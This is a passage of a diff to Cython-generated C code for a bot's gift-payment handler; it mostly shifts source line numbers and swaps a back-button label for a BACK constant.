__Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_months); __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_months, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_7 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_months, __pyx_int_1, 1, 0)); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_7 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_months, __pyx_int_1, 1, 0)); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 98, __pyx_L1_error) if (__pyx_t_7) { __Pyx_INCREF(__pyx_n_u__5); __pyx_t_2 = __pyx_n_u__5; } else { - __pyx_t_1 = PyObject_RichCompare(__pyx_int_2, __pyx_cur_scope->__pyx_v_months, Py_LE); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_1 = PyObject_RichCompare(__pyx_int_2, __pyx_cur_scope->__pyx_v_months, Py_LE); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 98, __pyx_L1_error) if (__Pyx_PyObject_IsTrue(__pyx_t_1)) { __Pyx_DECREF(__pyx_t_1); - __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_months, __pyx_int_4, Py_LE); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_months, __pyx_int_4, Py_LE); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 98, __pyx_L1_error) } - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_6) { __Pyx_INCREF(__pyx_n_u__6); @@ -5297,9 +5332,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_is_used); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_is_used); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 98, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_7) { __Pyx_INCREF(__pyx_n_u__8); @@ -5313,12 +5348,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 99, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_7) { - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __pyx_t_3; __pyx_t_3 = 0; @@ -5331,9 +5366,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_expiry_time); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_expiry_time); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_strftime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_strftime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -5354,7 +5389,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_d_m_Y_H_M}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -5363,45 +5398,45 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_gift_link); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_gift_link); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_gift_link); __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_gift_link, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_gift_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 102, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_gift_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_gift_id); __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_gift_id, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_GIFTS_TEXT_TEMPLATE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 104, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_GIFTS_TEXT_TEMPLATE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_format); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_format); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_months) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_months) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_months_text, __pyx_cur_scope->__pyx_v_months_text) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_months_text, __pyx_cur_scope->__pyx_v_months_text) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_expiry_time, __pyx_cur_scope->__pyx_v_expiry_time) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_expiry_time, __pyx_cur_scope->__pyx_v_expiry_time) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_recipient, __pyx_cur_scope->__pyx_v_recipient) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_recipient, __pyx_cur_scope->__pyx_v_recipient) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_is_used, __pyx_cur_scope->__pyx_v_is_used) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_is_used, __pyx_cur_scope->__pyx_v_is_used) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyNumber_InPlaceAdd(__pyx_cur_scope->__pyx_v_gifts_text, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_2 = PyNumber_InPlaceAdd(__pyx_cur_scope->__pyx_v_gifts_text, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_gifts_text); @@ -5409,18 +5444,18 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 114, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_11 = PyTuple_New(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_11 = PyTuple_New(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_12 = 0; __pyx_t_13 = 127; @@ -5429,7 +5464,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_12 += 18; __Pyx_GIVEREF(__pyx_kp_u__11); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_kp_u__11); - __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); @@ -5440,12 +5475,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_12 += 1; __Pyx_GIVEREF(__pyx_kp_u__12); PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_kp_u__12); - __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_11, 3, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_11, 3, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 115, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = PyTuple_New(4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_14 = PyTuple_New(4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_12 = 0; __pyx_t_13 = 127; @@ -5453,7 +5488,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_12 += 12; __Pyx_GIVEREF(__pyx_kp_u_delete_gift); PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_kp_u_delete_gift); - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_gift_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_gift_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); @@ -5464,20 +5499,20 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_12 += 1; __Pyx_GIVEREF(__pyx_kp_u__4); PyTuple_SET_ITEM(__pyx_t_14, 2, __pyx_kp_u__4); - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_current_page, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_current_page, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_14, 3, __pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyUnicode_Join(__pyx_t_14, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyUnicode_Join(__pyx_t_14, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 115, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 114, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5500,7 +5535,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -5509,33 +5544,36 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_current_page, __pyx_int_0, Py_GT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 120, __pyx_L1_error) - __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 120, __pyx_L1_error) + __pyx_t_9 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_current_page, __pyx_int_0, Py_GT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__pyx_t_7) { - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 121, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__13) < 0) __PYX_ERR(0, 122, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyInt_SubtractObjC(__pyx_cur_scope->__pyx_v_current_page, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_BACK); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 122, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyInt_SubtractObjC(__pyx_cur_scope->__pyx_v_current_page, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u_my_gifts_2, __pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u_my_gifts_2, __pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_1) < 0) __PYX_ERR(0, 122, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_1) < 0) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -5558,7 +5596,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 121, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5566,37 +5604,37 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } - __pyx_t_5 = PyObject_Length(__pyx_cur_scope->__pyx_v_gifts); if (unlikely(__pyx_t_5 == ((Py_ssize_t)-1))) __PYX_ERR(0, 124, __pyx_L1_error) - __pyx_t_9 = PyInt_FromSsize_t(__pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 124, __pyx_L1_error) + __pyx_t_5 = PyObject_Length(__pyx_cur_scope->__pyx_v_gifts); if (unlikely(__pyx_t_5 == ((Py_ssize_t)-1))) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_9 = PyInt_FromSsize_t(__pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_2 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_end, __pyx_t_9, Py_LT); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) + __pyx_t_2 = 